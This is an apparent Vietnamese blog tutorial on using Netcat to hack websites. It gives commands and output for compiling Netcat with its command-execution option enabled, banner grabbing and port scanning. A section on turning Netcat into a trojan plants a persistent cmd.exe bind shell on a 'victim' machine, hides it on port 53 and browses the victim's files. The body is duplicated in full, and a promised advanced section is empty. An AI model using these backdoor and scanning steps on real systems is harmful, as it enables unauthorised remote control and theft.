I.Giới thiệu :
Netcat là một công cu không thể thiếu nếu bạn muốn hack một website nào đó.vì vậy bạn cần phải biết về Netcat.
II.Biên dịch NetCat:
Đối với NetCat cho Linux, bạn phải biên dịch trước khi sử dụng.
-Hiệu chinh file netcat.c bằng vi: vi netcat.c
•Tìm dòng res_init(); trong main() và them vào trước 2 dấu “/”: // res_init();
•Them 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
-Biên dịch : make linux
-Chạy thử : ./nc –h
-Nếu bạn muốn chạy NetCat bằng nc thay cho ./nc , bạn chỉ cần hiệu chỉnh lại biến môi trường. PATH trong file ~/.bashrc, them vào “:.”
PATH=/sbin:/usr/sbin:...:.
Bản NetCat dành cho Window không cần phải compile vì đả có sẵn file nhị phân nc.exe, chỉ giải nén rồi chạy là xong.
III.Các tùy chọn của NetCat:
Netcat chạy ở chế độ dòng lệnh , bạn phải chạy nc –h để biết tham số:
C:>nc –h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
Options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Cú pháp :
- Chế dộ kết nối : nc [-tùy_chon] tên_máy cong[-cong2]
- Chế dộ lắng nghe: nc -1 -p cổng [-tùy_chon] [tên_máy] [cổng]
VI.Các ví dụ :
a-Chộp banner của web server.
Ví dụ : nc đến 172.16.84.2, cổng 80
C:>nc 172.16.48.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối , bạn có thể dùng –v (-vv sẽ cho biết các thông tin chi tiết hơn).
C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật ký, hãy dùng –o. ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat.
Dấu > nghĩa là netcat gởi đến server.
b-Quét cổng:
Chạy netcat với tùy chọn là –z.Để quét cổng nhanh hơn hãy dùng –n vì netcat sẽ không cần thẩm vấn DNS.
Ví dụ bạn có thể scan các cổng TCP(1->500) của host 172.16.106.1 [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
Nếu bạn scan cổng UDP , dùng
–u [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
Khi đó
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
c-Biến NetCat thành một Trojan:
Trên máy tính nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l(listen) và –p port để xát định số hiệu cổng lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có một kết nối đến, thường là shell lệnh cmd.exe hoặc /bin/sh (Unix).
Ví dụ :
E:>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
trên máy tính dùng để tấn công , chỉ cần dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E:>cd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như bạn thấy , chúng ta có thể làm bất cứ điều gì đối với máy tính nạn nhận qua lệnh shell, tuy nhien sau kết nối máy tính nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mõi kết nối, bạn dùng –L thay cho –l .một điều lưu ý –L chỉ có thể áp dụng cho bản Netcat của Window, không áp dụng cho Linux.
E:>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
Riêng đối với NetCat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe, chỉ cần định nghĩa địa chỉ nguồn là
–s<diachi_ip_cua_may_nay>.ví dụ :
Netstat –a ...
TCP nan_nhan:domain nan_nhan:0 listENING <- cổng 53 dang lắng nghe ...
E:>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
Trên Window NT , để đặt NetCat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần loign vào bằng một user bình thường rồi khởi động NetCat là xong.
Chú ý : bạn không thể chạy netcat với … -u –e cmd.exe… hoặc … -u –e /bin/sh…vì netcat sẽ không làm việc đúng, nếu bạn muốn có 1 UDP shell tren Unix , hãy dùng udpshell thay cho netcat.
III.Kĩ thuật tiên tiến :(sẽ trình bày trong lần sau)
a-telnet nghich chuyển : dùng telnet để nối cửa sổ netcat đang lắng nghe , kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ bên kia.
b-Tạo kênh sao:
c-Đổi hướng cổng:
Netcat là một công cu không thể thiếu nếu bạn muốn hack một website nào đó.vì vậy bạn cần phải biết về Netcat.
II.Biên dịch NetCat:
Đối với NetCat cho Linux, bạn phải biên dịch trước khi sử dụng.
-Hiệu chinh file netcat.c bằng vi: vi netcat.c
•Tìm dòng res_init(); trong main() và them vào trước 2 dấu “/”: // res_init();
•Them 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
-Biên dịch : make linux
-Chạy thử : ./nc –h
-Nếu bạn muốn chạy NetCat bằng nc thay cho ./nc , bạn chỉ cần hiệu chỉnh lại biến môi trường. PATH trong file ~/.bashrc, them vào “:.”
PATH=/sbin:/usr/sbin:...:.
Bản NetCat dành cho Window không cần phải compile vì đả có sẵn file nhị phân nc.exe, chỉ giải nén rồi chạy là xong.
III.Các tùy chọn của NetCat:
Netcat chạy ở chế độ dòng lệnh , bạn phải chạy nc –h để biết tham số:
C:>nc –h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
Options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
Cú pháp :
- Chế dộ kết nối : nc [-tùy_chon] tên_máy cong[-cong2]
- Chế dộ lắng nghe: nc -1 -p cổng [-tùy_chon] [tên_máy] [cổng]
VI.Các ví dụ :
a-Chộp banner của web server.
Ví dụ : nc đến 172.16.84.2, cổng 80
C:>nc 172.16.48.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối , bạn có thể dùng –v (-vv sẽ cho biết các thông tin chi tiết hơn).
C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật ký, hãy dùng –o. ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat.
Dấu > nghĩa là netcat gởi đến server.
b-Quét cổng:
Chạy netcat với tùy chọn là –z.Để quét cổng nhanh hơn hãy dùng –n vì netcat sẽ không cần thẩm vấn DNS.
Ví dụ bạn có thể scan các cổng TCP(1->500) của host 172.16.106.1 [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
Nếu bạn scan cổng UDP , dùng
–u [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
Khi đó
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
c-Biến NetCat thành một Trojan:
Trên máy tính nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l(listen) và –p port để xát định số hiệu cổng lắng nghe, -e để yêu cầu netcat thi hành 1 chương trình khi có một kết nối đến, thường là shell lệnh cmd.exe hoặc /bin/sh (Unix).
Ví dụ :
E:>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
trên máy tính dùng để tấn công , chỉ cần dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-1999 Microsoft Corp.
E:>cd test
cd test
E:test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:test
[.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như bạn thấy , chúng ta có thể làm bất cứ điều gì đối với máy tính nạn nhận qua lệnh shell, tuy nhien sau kết nối máy tính nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mõi kết nối, bạn dùng –L thay cho –l .một điều lưu ý –L chỉ có thể áp dụng cho bản Netcat của Window, không áp dụng cho Linux.
E:>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
Riêng đối với NetCat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe, chỉ cần định nghĩa địa chỉ nguồn là
–s<diachi_ip_cua_may_nay>.ví dụ :
Netstat –a ...
TCP nan_nhan:domain nan_nhan:0 listENING <- cổng 53 dang lắng nghe ...
E:>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 > lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
Trên Window NT , để đặt NetCat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần loign vào bằng một user bình thường rồi khởi động NetCat là xong.
Chú ý : bạn không thể chạy netcat với … -u –e cmd.exe… hoặc … -u –e /bin/sh…vì netcat sẽ không làm việc đúng, nếu bạn muốn có 1 UDP shell tren Unix , hãy dùng udpshell thay cho netcat.
III.Kĩ thuật tiên tiến :(sẽ trình bày trong lần sau)
a-telnet nghich chuyển : dùng telnet để nối cửa sổ netcat đang lắng nghe , kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ bên kia.
b-Tạo kênh sao:
c-Đổi hướng cổng:
0 nhận xét:
Đăng nhận xét